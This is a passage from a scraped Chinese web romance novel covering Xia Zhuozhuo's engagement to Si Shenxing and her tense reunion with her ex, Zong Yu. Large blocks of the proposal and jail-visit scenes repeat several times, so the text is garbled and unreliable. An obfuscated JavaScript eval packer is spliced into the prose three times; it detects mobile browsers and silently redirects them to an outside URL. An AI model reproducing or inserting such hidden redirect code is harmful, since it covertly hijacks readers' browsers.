“这是怎么了?谁打过来的电话?” 夏灼灼如实说了情况。 司慎行是知道昨天夏灼灼去看了**之后,又去看了柳月茹的。 还因为夏灼灼是通过冯昭阳去看的柳月茹,而没有找自己而吃醋过。 听到这话,他倒是没有什么太多的意外,只是问:“**吗?” 夏灼灼摇头:“还不知道。” “要问问吗?” “不用……”夏灼灼说:“我只是很惊讶。” “惊讶你刚见完她,她就**?” “不是。我惊讶的点,是她竟然是因为钱死的。” “什么意思?” 夏灼灼就把她们昨天的对话简单重复了下。 “提到她的儿子她很激动但是没有死意。反而是在知道我给她的卡里放了一千万之后她才彻底崩溃的。” 那张**嗤之以鼻柳月茹也没有太重视的卡的的确确放了一千万。 夏灼灼自认不是什么好人但也不是绝对的坏人。 柳月茹对她不好可的确给了她几年饭吃。 她用一千万回报她那几年的几口饭。 后来听到她重病甚至赶回了村里打算给她奔丧。 “因为那个时候我不知道我还有家人我对亲情还是有眷恋的。所以我着了她的道差点又被她卖一次。我真蠢。” “你不是蠢你是天性善良。” “……善良的人会去监狱把人逼死?” “你不是故意的不用自责。” 夏灼灼道:“我不自责人贩子死不足惜。我只是没想到她是被那一千万逼死的而不是因为她心心念念的儿子。” “在她心里钱其实比儿子重要。她以为自己最在意的是儿子其实最在意的还是她自己。” “他们母子真是一路货色。” “龙生龙凤生凤老鼠儿子会打洞。” 俩人聊了很久夏灼灼说起了一件事。 “金勺子比赛的事我需要你帮忙。” “你要参加?”司慎行诧异地问她。 夏灼灼摇摇头说:“不是我……” 她把事情简单说了一遍。 司慎行错愕地瞪大眼睛。 “没开玩笑吗?” “你觉得我会开这种玩笑?你就说你能不能帮忙吧。” “能正好S集团是投资方之一。这点小事我一会儿吩咐一声就行。” “那就拜托你了。” “我不白帮忙。”他指了指自己的唇角。 夏灼灼的脸立刻升温。 “周围人都看着我们呢。” 因为是临时约饭 很多人不认识夏灼灼却是认识司慎行。 不过没人敢拿出手机拍照只是默默关注他们。 司慎行也不为难她说:“那就等上了车再说。” 这话一出这顿饭夏灼灼吃的就有点紧张了。 他们吃的是华国餐。 自从上次司慎行问了她的喜好之后几次吃饭司慎行都带她吃华国餐不去一 些花里胡哨的餐厅了。 一顿饭吃完,两人终于上了车。 夏灼灼有点紧张。 明明这阵子,两个人已经接吻很多次了,可每次她都还是很紧张。 心跳飞快。 可就在这时,司慎行接了一个电话。 他眉头微蹙,对电话那头的人说:“知道了,我一个小时后到。 夏灼灼直觉有事,问他怎么了。 司慎行不瞒她,直言道:“上头派了个空降兵,暂时接替孙峥跃的工作。 夏灼灼忙问:“派的是谁?哪一派的人? “还不知道,得去见了才知道。 又说:“见到人,我立刻告诉你是谁。 “好。 “没事,人还在飞机上没落地,送你回去的时间还腾的出来。 “别折腾了,我打车也方便。 司慎行却坚持要送她回去。 四十分钟后,车子开到了夏家门口。 “那我回去了。 “好。 夏灼灼拉开车门下车,司慎行很快把车子开走。 看着渐行渐远的车子,她说不清为什么,心里总有些失落。 她在失落什么? 难道是在失落两个人没有按照餐厅里说的,亲吻过就分开了? 这个念头一出,夏灼灼自己闹了个大红脸。 她现在变得如此饥渴了吗? 她真是……该冷静冷静了。 夏灼灼拍拍自己的脸颊,正准备转身进门,却看到开出去不远的车子竟然折回来了。 “怎么了?夏灼灼问:“知道是谁了? 司慎行却是将车子直接熄火,开车门下车。 不等她再问,他捧住她的后脑勺,用力吻了下来。 夏灼灼的脑子里仿佛有烟花升腾而起,炸成绚烂烟火。 刚才还有些空洞的心情,此刻被什么柔软的东西全部填满了。 好一会儿,司慎行才放开她, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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夏管家负责开车。 四个人闲聊中,他提起了许姨,脸上有淡淡的笑容。 “他们在海岛,玩得很开心。我看着视频,好像黑了一点,但看着比之前好像年轻一些。” 秋雨知道一点许姨的事情。 她是被夏灼灼“驱赶”出去的,但夏灼灼并不想真的惩罚她,所以给了她们一大笔钱,让她们去旅游,还派两个人保护他们母子,另外还配了一名翻译。 只听夏太太调侃道:“那你可要小心,万一他们玩太开心了,不舍得回来了,你可就成孤家寡人了。” 夏管家爽朗一笑,说:“老夫老妻了,这点信任还是有的。” 又说:“我得让她每天给我打两个视频才行。” 车内欢笑声一片。 夏灼灼知道他是说给自己听的,他想告诉她,他不生气这件事,反而感激她。 她心中很是松了一口气。 夏家的人,哪怕是管家,也真的都是很好的人。 如果她不曾被拐卖,她一定也是在幸福中长大的。 不过现在的她,也很幸福。 第229章 求婚 三个女人很快到了生鲜超市,买了满满三大袋火锅料。 夏太太让夏灼灼发个信息给司慎行,叫他晚上来家里吃火锅。 夏灼灼答应了。 她给司慎行发消息过去,司慎行没回。 她也没多想,知道司慎行今天是有正事,估计没心思看手机。 代替孙峥跃的那位,如果是党系的人,一切好说,热情招待就是了。 如果是窦系的人,那就又要有的闹。 如果是中立,则要花很多心思将人拉拢过来。 总之,她大概猜到,司慎行肯定是没时间来吃晚饭的。 却没想到,到了晚上吃饭的点,司慎行来了。 还提了很多礼品过来——这段时间他也偶尔来夏家吃饭,每次都带满满一后备箱的礼物。 夏太太让他下次别破费了,转而让夏灼灼招呼他坐下喝茶,自己进厨房帮秋雨继续煮火锅料去了。 客厅很快只剩下她和司慎行。 她立刻问:“空降的是谁?哪边的人?” 司慎行却没回答,只说:“累了一个下午了,你让我脑子放松一下,等我们吃完再说。” 夏灼灼点头:“好。” 心里却隐隐有种不太好的预感。 因为“空降兵”如果是党帅的人,司慎行不可能拖着不说,他肯定一进门就高兴地告诉她了。 那这么说,这个人,就是窦系的人了。 真够倒霉的! 好不容易弄倒了一个孙峥跃,又来一个! 夏灼灼对党帅也生出了一点抱怨。 沪城这么重要的地方,党帅就不能使使力气,让上面空降一个他的人吗? 实在不行,中立派的也行啊。 夏灼灼不问了,甚至有点不想知道了,太影响心情! 很快两个哥哥回来了。 现在家里人越来越少,夏怀征去了京都安全局就职,夏怀乐已经进剧组了,是之前夏灼灼亲自为他挑选的那个组,夏怀武还在海岛,不知什么时候能回来。 所以只有夏怀呈和夏怀瑾两个人。 司慎行跟夏怀瑾聊了一会儿公司新能源汽车的事情,夏怀呈在旁边偶尔附和几句,气氛很是轻松。 他们两个现在已经能很自然地把司慎行当成半个家人了。 尤其夏怀瑾。 跟司慎行接触的越多,他越佩服他。 所以他现在最佩服的人,除了夏灼灼之外,还多了一个司慎行。 火锅在这 时候端了上来。 因夏灼灼不爱吃海鲜,所以分成了两个锅。 烫海鲜就用另一个火锅来涮,免得留下海鲜的味道。 小小的一点细节,足以看出来大家都很疼她。 一顿火锅吃完,已经是晚上八点半了。 他们吃了两个半小时。 夏灼灼带着司慎行沿着庄园慢慢散步,顺便遛一遛将军。 司慎行跟她聊了很多有的没的,唯独不聊空降兵的事情。 夏灼灼心里纳闷,终于忍不住停下脚步问:“空降兵到底是谁?窦系的人?不会是窦斯齐吧?” 司慎行深深看着她,一时竟然不知道该如何开口。 而事实上,从来夏家到现在,他一直在考虑该怎么说。 “灼灼……”他突然展开双臂,问:“能不能抱抱我?抱一下我,我就告诉你。” “……” 夏灼灼忍不住伸手去探司慎行的额头。 “这也没发烧啊。” “那就不告诉你了。”司慎行扭过身,一副生气了的样子。 夏灼灼盯着他的背影,觉得他实在反常。 平时两个单独相处的时候,他偶尔也这样孩子气,但今天属于格外孩子气。 算了,自己的男人,总得自己宠着。 “转过来。”夏灼灼道。 “不转。反正你又不抱我。” “……” 夏灼灼好笑地说:“你不转过来我怎么抱你?那我从背后抱你?” 下一秒,司慎行动作利落地转过身来了。 夏灼灼唇角弧度扩大,伸手抱住了司慎行。 他的腰很紧实,是常年健身的成果。 只感觉他脊背一僵,随即用力回抱住了她。 两个人什么都不做,只是紧紧相拥着。 秋风吹过两人,带来一阵桂花香。 他们正式在一起一个多月了,这还是第一次抱在一起这么久。 距离贴近到都能感觉到对方的心跳。 好一会儿,夏灼灼觉得自己的脚都站麻了,司慎行才终于慢慢松开她。 只是两个人仍然是贴的很近。 他终于开口说:“是宗域。” 夏灼灼愣了愣,好几秒后才反应过来,司慎行说的“是宗域”是什么意思。 她错愕地瞪大眼睛。 “他……” 只说了一个字,却不知道该说什么了。 但她明白过来,司慎行今晚为什么这 么反常了。 平时她有事问他,他都是立刻回答的。 今天推三阻四,却原来是这样。 因为是宗域,她的前男友,所以他心中不安。 “阿行。” 夏灼灼退后一步,认真凝视着他的眼睛说:“其实你不用这么担心的,我心里现在除了你之外,没有别人了。” 她一颗心,也只能装得下一个人。 司慎行进来了,就再装不下别人了。 司慎行的眼睛亮了亮,但仍有担忧。 “我怕他把你抢回去。” “不会的。”她说:“就像你说过的那样,任何人都不能把我们分开了。” 司慎行眸色渐浓。 他表情虽然没有什么太大的变化,但只有他自己知道,夏灼灼说的这句话,让他有多激动! “灼灼。” “嗯?” 司慎行突然后退两步,而后往口袋里掏了掏,不知道在掏什么。 下一秒,他直接朝她单膝跪下,伸出一只手,掌心向上。 只见他宽大的手心里,静静躺着一枚钻石戒指,在月光的照射下,绽放出绚烂的光。 夏灼灼狠狠一愣,就听司慎行说:“灼灼,你愿意嫁给我吗?我这人不会说什么好听的话,但你嫁给我之后,我会把所有的钱都给你。如果我以后负了你,你就拿着所有的钱走,让我饿死街头。” 说完,他就从怀里掏啊掏,掏出了一份文件。 “这是我所有的钱。” 他知道,夏灼灼不太相信海誓山盟,觉得人心瞬息万变。 但他又不能把自己的心掏出来证明自己的心是真的不会变。 所以,他就把自己的财产都掏出来。 “……” 夏灼灼一时不知道该说些什么,想笑,又想哭。 只能说,司慎行做的事情,真不是一般人能想的出来的。 “嫁给他!” “嫁给他吧!” 一阵起哄声突然响起。 夏灼灼愣了一下,循着声音看去。 只见家里人不知道什么时候站在了他们不远处。 他们是来看看夏灼灼和司慎行怎么还没回去的,散步都散了快两个小时了。 结果正好看到了这一出。 司慎行的求婚宣言,不止夏灼灼愣住,他们也都惊呆了。 哪有人求婚是带着信托来的? 他们见过很盛大的求婚现场,但这么……昂贵又淳朴的求婚, 还是第一次。 他将信托的受益人名字,更改为夏灼灼。 真正意义把自己所有的财产都给了她。 夏灼灼不知道自己是怎么接受司慎行的求婚的,等回过神来的时候,戒指已经套在了她的无名指上。 家人跑过来祝贺。 夏灼灼觉得空气中仿佛升起了粉红泡泡。 在他们的起哄中,司慎行亲吻了她。 这一晚,夏灼灼久久不能入睡。 司慎行倒是睡得很好。 他觉得自己办成了一件了不得的大事。 从此以后,他不必再担心乱七八糟的人会把夏灼灼抢走了。 夏灼灼是他的了。 两个人,只差一个婚礼。 第二天一早,司慎行就兴匆匆跑过来,还带了两个婚礼策划师。 “咱们先选办婚礼的地点,其他的东西再慢慢计划。”他问她:“你希望在沪城办,还是别的地方?” “都可以。” “那就巴厘岛?” 夏灼灼想了想,问:“可以在夏怀武所在的那个海岛吗?” “当然可以,只是这样婚期可能得在明年。今年恐怕来不及。你四哥还没帮我整顿好那里。” “我也不想太快,明年的时间,刚刚好够我们把所有事情全都处理好。” “好,那就明年。” 又说:“我们今天去看看爸?把这个好消息告诉他。” 司慎行自己直接改口叫夏云海“爸”了。 夏灼灼看了眼夏太太,道:“我想带妈一起去,可以吗?” 她直觉,比起自己,夏云海更想看到夏太太。 因为比起孩子,夏云海的确更在意自己的妻子。 “当然可以,我去安排。” 司慎行的动作很快,到下午的时候,三个人就看到了看守所门口。 夏云海的案子一直悬而不决,故而一直在看守所,而没有转移到监狱。 四个人见了面,司慎行率先说明来意。 夏云海狠狠愣了愣。 好一会儿,他才回过神,意识到自己还没来得及养一天的小白菜就这么被猪抱走了。 “司慎行。”他严肃地开口:“你可知道,如果你以后敢负我家小七的下场?我们家别的没有,就是人多。一人一口唾沫都能把你淹死。” “我知道,绝不会有那样一天。” 夏太太也在旁边说好话,结婚的事情才彻底说定。 夏灼灼知道他们夫妻两个有话要说,于是先带着司慎行退了出去,把空间留给他们。 两个人在看守所外等,偏在这时候,两辆公务车开过来。 车门打开,一张熟悉的脸跃然于眼前。 是宗域。 还是第一次。 他将信托的受益人名字,更改为夏灼灼。 真正意义把自己所有的财产都给了她。 夏灼灼不知道自己是怎么接受司慎行的求婚的,等回过神来的时候,戒指已经套在了她的无名指上。 家人跑过来祝贺。 夏灼灼觉得空气中仿佛升起了粉红泡泡。 在他们的起哄中,司慎行亲吻了她。 这一晚,夏灼灼久久不能入睡。 司慎行倒是睡得很好。 他觉得自己办成了一件了不得的大事。 从此以后,他不必再担心乱七八糟的人会把夏灼灼抢走了。 夏灼灼是他的了。 两个人,只差一个婚礼。 第二天一早,司慎行就兴匆匆跑过来,还带了两个婚礼策划师。 “咱们先选办婚礼的地点,其他的东西再慢慢计划。”他问她:“你希望在沪城办,还是别的地方?” “都可以。” “那就巴厘岛?” 夏灼灼想了想,问:“可以在夏怀武所在的那个海岛吗?” “当然可以,只是这样婚期可能得在明年。今年恐怕来不及。你四哥还没帮我整顿好那里。” “我也不想太快,明年的时间,刚刚好够我们把所有事情全都处理好。” “好,那就明年。” 又说:“我们今天去看看爸?把这个好消息告诉他。” 司慎行自己直接改口叫夏云海“爸”了。 夏灼灼看了眼夏太太,道:“我想带妈一起去,可以吗?” 她直觉,比起自己,夏云海更想看到夏太太。 因为比起孩子,夏云海的确更在意自己的妻子。 “当然可以,我去安排。” 司慎行的动作很快,到下午的时候,三个人就看到了看守所门口。 夏云海的案子一直悬而不决,故而一直在看守所,而没有转移到监狱。 四个人见了面,司慎行率先说明来意。 夏云海狠狠愣了愣。 好一会儿,他才回过神,意识到自己还没来得及养一天的小白菜就这么被猪抱走了。 “司慎行。”他严肃地开口:“你可知道,如果你以后敢负我家小七的下场?我们家别的没有,就是人多。一人一口唾沫都能把你淹死。” “我知道,绝不会有那样一天。” 夏太太也在旁边说好话,结婚的事情才彻底说定。 夏灼灼知道他们夫妻两个有话要说,于是先带着司慎行退了出去,把空间留给他们。 两个人在看守所外等,偏在这时候,两辆公务车开过来。 车门打开,一张熟悉的脸跃然于眼前。 是宗域。 还是第一次。 他将信托的受益人名字,更改为夏灼灼。 真正意义把自己所有的财产都给了她。 夏灼灼不知道自己是怎么接受司慎行的求婚的,等回过神来的时候,戒指已经套在了她的无名指上。 家人跑过来祝贺。 夏灼灼觉得空气中仿佛升起了粉红泡泡。 在他们的起哄中,司慎行亲吻了她。 这一晚,夏灼灼久久不能入睡。 司慎行倒是睡得很好。 他觉得自己办成了一件了不得的大事。 从此以后,他不必再担心乱七八糟的人会把夏灼灼抢走了。 夏灼灼是他的了。 两个人,只差一个婚礼。 第二天一早,司慎行就兴匆匆跑过来,还带了两个婚礼策划师。 “咱们先选办婚礼的地点,其他的东西再慢慢计划。”他问她:“你希望在沪城办,还是别的地方?” “都可以。” “那就巴厘岛?” 夏灼灼想了想,问:“可以在夏怀武所在的那个海岛吗?” “当然可以,只是这样婚期可能得在明年。今年恐怕来不及。你四哥还没帮我整顿好那里。” “我也不想太快,明年的时间,刚刚好够我们把所有事情全都处理好。” “好,那就明年。” 又说:“我们今天去看看爸?把这个好消息告诉他。” 司慎行自己直接改口叫夏云海“爸”了。 夏灼灼看了眼夏太太,道:“我想带妈一起去,可以吗?” 她直觉,比起自己,夏云海更想看到夏太太。 因为比起孩子,夏云海的确更在意自己的妻子。 “当然可以,我去安排。” 司慎行的动作很快,到下午的时候,三个人就看到了看守所门口。 夏云海的案子一直悬而不决,故而一直在看守所,而没有转移到监狱。 四个人见了面,司慎行率先说明来意。 夏云海狠狠愣了愣。 好一会儿,他才回过神,意识到自己还没来得及养一天的小白菜就这么被猪抱走了。 “司慎行。”他严肃地开口:“你可知道,如果你以后敢负我家小七的下场?我们家别的没有,就是人多。一人一口唾沫都能把你淹死。” “我知道,绝不会有那样一天。” 夏太太也在旁边说好话,结婚的事情才彻底说定。 夏灼灼知道他们夫妻两个有话要说,于是先带着司慎行退了出去,把空间留给他们。 两个人在看守所外等,偏在这时候,两辆公务车开过来。 车门打开,一张熟悉的脸跃然于眼前。 是宗域。 还是第一次。 他将信托的受益人名字,更改为夏灼灼。 真正意义把自己所有的财产都给了她。 夏灼灼不知道自己是怎么接受司慎行的求婚的,等回过神来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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夏灼灼知道他们夫妻两个有话要说,于是先带着司慎行退了出去,把空间留给他们。 两个人在看守所外等,偏在这时候,两辆公务车开过来。 车门打开,一张熟悉的脸跃然于眼前。 是宗域。 还是第一次。 他将信托的受益人名字,更改为夏灼灼。 真正意义把自己所有的财产都给了她。 夏灼灼不知道自己是怎么接受司慎行的求婚的,等回过神来的时候,戒指已经套在了她的无名指上。 家人跑过来祝贺。 夏灼灼觉得空气中仿佛升起了粉红泡泡。 在他们的起哄中,司慎行亲吻了她。 这一晚,夏灼灼久久不能入睡。 司慎行倒是睡得很好。 他觉得自己办成了一件了不得的大事。 从此以后,他不必再担心乱七八糟的人会把夏灼灼抢走了。 夏灼灼是他的了。 两个人,只差一个婚礼。 第二天一早,司慎行就兴匆匆跑过来,还带了两个婚礼策划师。 “咱们先选办婚礼的地点,其他的东西再慢慢计划。”他问她:“你希望在沪城办,还是别的地方?” “都可以。” “那就巴厘岛?” 夏灼灼想了想,问:“可以在夏怀武所在的那个海岛吗?” “当然可以,只是这样婚期可能得在明年。今年恐怕来不及。你四哥还没帮我整顿好那里。” “我也不想太快,明年的时间,刚刚好够我们把所有事情全都处理好。” “好,那就明年。” 又说:“我们今天去看看爸?把这个好消息告诉他。” 司慎行自己直接改口叫夏云海“爸”了。 夏灼灼看了眼夏太太,道:“我想带妈一起去,可以吗?” 她直觉,比起自己,夏云海更想看到夏太太。 因为比起孩子,夏云海的确更在意自己的妻子。 “当然可以,我去安排。” 司慎行的动作很快,到下午的时候,三个人就看到了看守所门口。 夏云海的案子一直悬而不决,故而一直在看守所,而没有转移到监狱。 四个人见了面,司慎行率先说明来意。 夏云海狠狠愣了愣。 好一会儿,他才回过神,意识到自己还没来得及养一天的小白菜就这么被猪抱走了。 “司慎行。”他严肃地开口:“你可知道,如果你以后敢负我家小七的下场?我们家别的没有,就是人多。一人一口唾沫都能把你淹死。” “我知道,绝不会有那样一天。” 夏太太也在旁边说好话,结婚的事情才彻底说定。 夏灼灼知道他们夫妻两个有话要说,于是先带着司慎行退了出去,把空间留给他们。 两个人在看守所外等,偏在这时候,两辆公务车开过来。 车门打开,一张熟悉的脸跃然于眼前。 是宗域。 还是第一次。 他将信托的受益人名字,更改为夏灼灼。 真正意义把自己所有的财产都给了她。 夏灼灼不知道自己是怎么接受司慎行的求婚的,等回过神来的时候,戒指已经套在了她的无名指上。 家人跑过来祝贺。 夏灼灼觉得空气中仿佛升起了粉红泡泡。 在他们的起哄中,司慎行亲吻了她。 这一晚,夏灼灼久久不能入睡。 司慎行倒是睡得很好。 他觉得自己办成了一件了不得的大事。 从此以后,他不必再担心乱七八糟的人会把夏灼灼抢走了。 夏灼灼是他的了。 两个人,只差一个婚礼。 第二天一早,司慎行就兴匆匆跑过来,还带了两个婚礼策划师。 “咱们先选办婚礼的地点,其他的东西再慢慢计划。”他问她:“你希望在沪城办,还是别的地方?” “都可以。” “那就巴厘岛?” 夏灼灼想了想,问:“可以在夏怀武所在的那个海岛吗?” “当然可以,只是这样婚期可能得在明年。今年恐怕来不及。你四哥还没帮我整顿好那里。” “我也不想太快,明年的时间,刚刚好够我们把所有事情全都处理好。” “好,那就明年。” 又说:“我们今天去看看爸?把这个好消息告诉他。” 司慎行自己直接改口叫夏云海“爸”了。 夏灼灼看了眼夏太太,道:“我想带妈一起去,可以吗?” 她直觉,比起自己,夏云海更想看到夏太太。 因为比起孩子,夏云海的确更在意自己的妻子。 “当然可以,我去安排。” 司慎行的动作很快,到下午的时候,三个人就看到了看守所门口。 夏云海的案子一直悬而不决,故而一直在看守所,而没有转移到监狱。 四个人见了面,司慎行率先说明来意。 夏云海狠狠愣了愣。 好一会儿,他才回过神,意识到自己还没来得及养一天的小白菜就这么被猪抱走了。 “司慎行。”他严肃地开口:“你可知道,如果你以后敢负我家小七的下场?我们家别的没有,就是人多。一人一口唾沫都能把你淹死。” “我知道,绝不会有那样一天。” 夏太太也在旁边说好话,结婚的事情才彻底说定。 夏灼灼知道他们夫妻两个有话要说,于是先带着司慎行退了出去,把空间留给他们。 两个人在看守所外等,偏在这时候,两辆公务车开过来。 车门打开,一张熟悉的脸跃然于眼前。 是宗域。 第230章 重逢,宗域 夏灼灼在跟司慎行认识之前,幻想过无数次她跟宗域重逢的场面。 却怎么都没想过,竟然是在看守所门口再次碰到。 并且是在自己跟另一个男人十指相扣的情况下。 亦或是说,夏灼灼从前没想过,有朝一日,自己会跟除了宗域之外的男人十指相扣。 夏灼灼的脊背微微有些僵硬。 而宗域,显然也没想到。 他仿佛一瞬间失去了表情控制,就那么呆呆地看着他们。 还是司慎行打破这诡异的尴尬。 “宗先生,真是巧。昨天没见到您,这会儿在这儿碰上了。 他唇角飞扬,握着夏灼灼的手的力道有些加重。 夏灼灼感觉到了。 她把所有乱七八糟的心情收敛,坦然迎上宗域的目光。 反而是宗域没那么坦然,更像是故意避开她的目光,没看她,只是看司慎行。 “司先生,久仰大名了。 “宗先生才是久仰大名。昨天我在机场等了您半个小时,想不到您没坐飞机,而是改坐火车,我们真是好一顿等。 宗域面无表情开口:“我不喜欢应酬,所以临时更改了行程。还请司先生见谅。 两个人的语气都很客气,可眼神却仿佛早就缠打在了一起。 夏灼灼不喜欢这种修罗场,只想找个借口赶紧离开。 好在就在这时,夏太太出来了。 她并不认识宗域,疑惑地往那边看了眼,询问夏灼灼:“这位是? 夏灼灼的心里闪过好几个介绍方式。 思来想去,索性说实话。 “这是我的前男友,宗域,也是上面派来临时顶替孙市位置的。 夏太太微微错愕,随即拧起眉心。 夏灼灼跟她提起过宗域。 这个男人,狠狠伤了她女儿的心。 “走吧,我有点累了。夏太太语气淡淡,是故意做给宗域看的。 宗域一时间有些不知所措。 他甚至不知道,自己是因为夏灼灼的那句“前男友不知所措,还是因为夏太太的冰冷态度。 也不知道该不该跟夏太太打招呼。 打招呼? 人家一脸的“我不喜欢这人。 不打招呼? 显然不礼貌。 没等他想好,夏太太已经拉着夏灼灼上车了。 宗域错失了跟夏太太打招呼的良机。 他面色更加灰败。 明明是看着那么高大的一个人,此刻却有种风一吹就能被折断的寂寥感。 这一幕,全部落在了司慎行的眼睛里。 他一双黑眸像是被火点着了。 大步向来,来到宗域的面前。 “宗域。” 他突然叫宗域大名,宗域骤然回神,狐疑看向他。 可视线刚对上,司慎行抬起手就是一记拳头,正中宗域的鼻梁。 鼻血立刻流了出来。 “督导!” 两个警卫员吃了一惊,下一秒拿起**就对准了司慎行的头。 司慎行丝毫不慌。 “没**的枪还是收一收吧。” 华夏如今对**开始进行**,以后甚至打算全国施行全面严格管控。 也因此,这些警卫员虽然随身带枪,却没有**。 两个警卫员的面色微变,颇有些尴尬。 “我没事。”宗域抹了把鼻子,手指也沾上了血。 他让两个警卫员退下,自己用袖子擦掉了脸上的血。 “司慎行,对要员动手,你知道要关你多久吗?” 司慎行根本不接他这话。 宗域看着夏灼灼的背影看起来那么难过伤感的样子,让他非常火大。 他凭什么伤心?! 伤心的人,该是夏灼灼。 他这个背叛者,毫无资格伤心。 “老子打的就是你!没杀了你,你就应该庆幸!” “……”宗域深深拢起眉:“你知道你在说什么吗?” “我才该问你这话。你这副样子,做给谁看?伤了她的心,你还好意思装伤心?怎么,得到了你想要的东西,就后悔跟现在的妻子在一起了,又想旧情复燃了?我告诉你,绝不可能!我现在已经跟灼灼在一起了,她现在心里只有我!再让我看到你在她面前装出那副无辜的样子,老子杀了你!” 宗域紧紧攥着拳头,却一个字都说不出来。 司慎行冷笑一声,说:“今天这一拳,我是替她打的,但你可以算到我的账上,我随时奉陪!” 说完,他扭头就走。 两个警卫员连忙上前,用眼神询问宗域是否要把人抓起来。 宗域额头青筋凸显,却说:“不用!走吧!” 他直接上车。 两个警卫员面面相觑。 不是一大早就说要来看沪城前任首富,夏云海的吗? 督导还亲自去商场挑选了很久的礼物。 怎么已经到了,却不进去见人,而是直接走了呢? 两人丈二和尚摸不着头脑。 还是宗域摇下扯唇,不悦开口:“愣着干什么? 两人这才着急慌忙上了车。 另一辆车上。 夏灼灼和夏太太坐的车子当时是背对着司慎行他们的,所以司慎行打了宗域,她们并不知道。 司慎行也不打算瞒着,上车就说明了情况。 “我打了他。 夏灼灼微微一愣,说:“你不该打他的。 司慎行的黑眸望向她。 如一潭深水。 旁边的夏太太生怕两人吵起来,立马说:“打一顿也好的,伤了我家小七的心,该打! 夏灼灼知道两个人都误会她了。 她不喜欢让误会过夜。 当初安雅的事情,因为她不开口挑明,所以她误会了司慎行很久。 因而这次,夏灼灼立刻就对眸色浓黑的司慎行说:“我不是这个意思。我的意思是,宗域这次是以督导的身份过来的。你打了他,我怕他公报私仇,把你抓起来。 司慎行一颗心稳稳落地。 他长出了一口气,眼底的浓郁神色褪去,恢复灿烂的光彩。 “我还以为你舍不得。 “怎么会?他跟我,现在只是路人了。 又说:“以后也只会是路人。 司慎行笑了笑。 这次是真开心了。 “放心,他想抓我,没那么容易。他公报私仇,我也可以公报私仇,让他这个督导做不下去。 夏灼灼没接话。 直到到了夏家,夏太太下车了,夏灼灼才再次开口。 “阿行,我不建议你跟他闹起来。 司慎行看向她。 夏灼灼摊手:“先说好了,这跟私人感情无关,我纯属公事公办。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15466926|165743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你先听完我的想法,再决定要不要吃醋。 司慎行展眉。 “我不吃醋,只要确定你的心里只有我,我就不吃醋。 “那刚才是谁在听我说完‘你不该打他’的时候,立刻变脸的? 司慎行摸摸自己的脸:“有吗?我变脸了吗? “…… 夏灼灼不跟他争这种长短,继续说正事。 “宗域娶了云霓,他现在是云家的人。 “云家现在还是云老爷子主事。他的身体不好,又被人下了毒,在上个月月初的时候,通过杜家见到了我。 “我替他去除了毒素,调理好了身体……” “当然,这其中还发生了一点小事,我就不过多解释了。” “总之,我跟云老爷子已经达成了协议。” “云家人,虽然会继续保持中立,但绝不会站到窦家那边去。” “换言之,宗域也不会是我们的敌人。我们没必要跟他树敌。” 司慎行隐隐想起了这事。 当时,她动用了丁警官,所以还跟自己打过招呼,他多多少少知道一点。 只是不知道云老爷子已经跟夏灼灼达成了协议。 “那这么看来,我得忍着那小子?” 夏灼灼的手指抚上司慎行的眉骨,反问道:“我都能忍,你为什么不能忍?” 司慎行道:“因为,你在我心里,比我自己还重要。我不能忍受一个伤害过你的人,没有半点羞耻之心地出现在你面前。” 夏灼灼说:“我已经放下了。因为没有爱,所以对他也没有恨了。还是说,你希望我对他有恨?” 司慎行立刻摇头。 “不希望。我不希望你对他产生任何感情,恨也不行!” 夏灼灼笑道:“所以啊,听话,我放下对他的仇恨,你也跟我一起放下。以后,我们跟他或许能成为盟友。除了感情方面,宗域是个不错的人。” “你夸他?” “我只是客观来讲而已。” 司慎行看着她,心里却莫名的一点也不生气夏灼灼夸宗域“是个不错的人”。 他拢拢眉毛。 夏灼灼瞧见了,以为他又吃醋了。 于是捧住他的脸说:“你不是答应我不吃醋?” 司慎行很无奈。 “我看起来那么像醋坛子吗?” “那你干嘛皱眉?” “我是在懊恼,为什么不能早点认识你?” 夏灼灼说:“我们一年前就在泉灵山庄认识了,不是吗?” 还做了男女之间最亲密的事。 提到这个,司慎行高兴起来。 他握住夏灼灼捧着他脸的手,说:“我会对你负责的,灼灼。” 夏灼灼的脸红起来。 “你不是已经负责了吗?” 她伸出另一只手,露出无名指上的钻戒。 司慎行郑重地说:“一切尘埃落地,我们就结婚。” “好。” 两人亲吻在一起。 原本就有些闷热的车内更觉气温上升。 司慎行甚至有些忍不住。 可到最后他还是狠狠克制住了自己。 第一次的时候,他没能给夏灼灼一个美好的记忆,第二次,他一定要慎重对待这件事。 “还有一件事。”夏灼灼平复了呼吸,说:“你要是暂时没法心平气和地跟宗域接触,那就派季恒去。” 第231章 他对她,念念不完 季恒看似不着调,实则八名玲珑。 他是个能见人说人话,见鬼说鬼话的人才。 而且最重要的是,他是司慎行的心腹,亦是知道她跟宗域的事情的人。 司慎行已经跟她坦白,他们在一起之前,季恒帮他查过宗域。 所以,季恒是最适合当他们和宗域之间的传话筒。 司慎行想了想,觉得这办法可行。 “那就这么定了,不然我下次又忍不住要打断他的鼻子。” “……” 夏灼灼回到家,夏太太支开秋雨,跟她单独聊了宗域的事。 “你现在有了阿行,之前那个男人那边……” 